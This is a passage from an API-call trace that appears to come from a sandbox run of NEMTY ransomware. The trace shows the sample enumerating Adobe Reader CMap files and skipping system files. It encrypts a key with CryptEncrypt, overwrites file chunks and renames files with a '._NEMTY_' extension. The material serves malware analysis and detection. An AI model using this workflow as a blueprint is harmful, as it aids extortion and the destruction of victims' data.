dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.361] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="ADCE7B~1")) returned 1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2=".") returned 1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="..") returned 1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="...") returned 1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="windows") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="$RECYCLE.BIN") returned 1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="rsa") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="NTDETECT.COM") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="ntldr") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="MSDOS.SYS") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="IO.SYS") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="boot.ini") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="boot.ini") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="AUTOEXEC.BAT") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="ntuser.dat") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="desktop.ini") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="CONFIG.SYS") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="RECYCLER") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="BOOTSECT.BAK") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="bootmgr") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="programdata") returned -1 [0200.362] lstrcmpiW (lpString1="Adobe-Japan1-4", lpString2="appdata") returned -1 [0200.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-4", lpUsedDefaultChar=0x0) returned 14 [0200.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-4", lpUsedDefaultChar=0x0) returned 14 [0200.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-4", lpUsedDefaultChar=0x0) returned 14 [0200.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-4", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-4", lpUsedDefaultChar=0x0) returned 14 [0200.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0200.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0200.363] Sleep (dwMilliseconds=0x5) [0200.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b19e550, dwHighDateTime=0x1d561e8)) [0200.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b19e550, dwHighDateTime=0x1d561e8)) [0200.422] GetLastError () returned 0x5 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.423] GetLastError () returned 0x5 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0200.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="qafgTlFcWbuhieIesyHTn5kEfLcOdrlNWMmpZimru/Qu7VGuaoMzW7F1Nd1tKLWh\r\njqPk2dIChsxBS+igeP42r3E3ZmY1iZRGhPxK/yz6yg4vPKO/avSFRTMfyhyjo6f/\r\nK42dMfsn2aT4ZqYO33GWp7pMeS/ZGQVxh7zR0TZ4nQKDFFJtvATOo/Ne2iF2CN3Y\r\nlscbPXJzp/2pDOQOEnD+ZQHWUOs8wZcKQAspQDH5Efle7ngoihOVSSiERT1xfQKd\r\n0EFUCgNCj7PGBGVH/GZ5VDjH8OIKxcCp10EHSyBFSapKj6ShjNfvekmTJUNbRR+E\r\nqNiAfVze/19I9o3nNPchTQ==\r\n", pcchString=0x653e91c) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0200.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0200.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.423] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.531] CloseHandle (hObject=0xffffffff) returned 0 [0200.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.532] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4._nemty_kgobjgd_")) returned 0 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.532] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="AD7470~1")) returned 1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2=".") returned 1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="..") returned 1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="...") returned 1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="windows") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="$RECYCLE.BIN") returned 1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="rsa") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="NTDETECT.COM") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="ntldr") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="MSDOS.SYS") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="IO.SYS") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="boot.ini") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="boot.ini") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="AUTOEXEC.BAT") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="ntuser.dat") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="desktop.ini") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="CONFIG.SYS") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="RECYCLER") returned -1 [0200.532] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="BOOTSECT.BAK") returned -1 [0200.533] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="bootmgr") returned -1 [0200.533] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="programdata") returned -1 [0200.533] lstrcmpiW (lpString1="Adobe-Japan1-5", lpString2="appdata") returned -1 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, 